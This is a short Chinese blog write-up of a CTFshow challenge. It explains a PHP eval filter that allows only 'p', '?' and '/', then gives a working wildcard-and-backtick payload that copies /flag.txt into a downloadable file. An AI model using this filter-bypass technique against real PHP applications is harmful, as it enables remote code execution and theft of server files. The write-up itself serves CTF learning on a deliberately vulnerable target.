CTFshow 红包题二弹
CTFshow 红包题二弹
孤陋寡闻的我新发现了一个ctf平台,然后想想好久没发文章了,干脆来发个文章水水积分吧~~
首先开启题目
杰捏吗不是亏了嘛发现晚了莫得钱拿了😭
不管了,do it!
where is the flag?
flag在哪
按照惯例先查看页面源码有什么信息
找到个hint(提示)
?cmd=
这是提示有一个get请求的传参
试着发送一下,看看能不能命令执行
发送了?cmd=ls
得到了题目源码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
if(isset($_GET['cmd']))
判断get请求传参是否为空,不为空则高亮当前文件内容
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))
正则匹配大写A-Z小写a-oq-z和0-9的变量$cmd的参数匹配到了就结束程序并打印cerror,相当于除了p字母以外都给过滤了
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))
正则匹配除了
?
和/
以外的特殊字符
eval($cmd);
最后,再把变量$cmd当成php代码执行
只有一个小写的p还有?和/没给过滤
实在不晓得咋做了,去看了网上大佬的wp,有两种解法
一个是利用php的临时上传文件进行绕过,但是这个方法我咋试都不成功,所以就用的第二种
直接模糊匹配
?cmd=?><?=
/???/?p /???????? p.p`
这一句相当于
?cmd=?><?=/bin/cp /flag.txt p.p
ps:这个?>是对开头的
<?php进行闭合传参过去了就相当于<?php $_GET['?><?=/bin/cp /flag.txt p.p;']
然后访问p.p文件就会自动下载,flag就在文件里了
完成~
/bin/cp /flag.txt这个路径哪来的?
find啊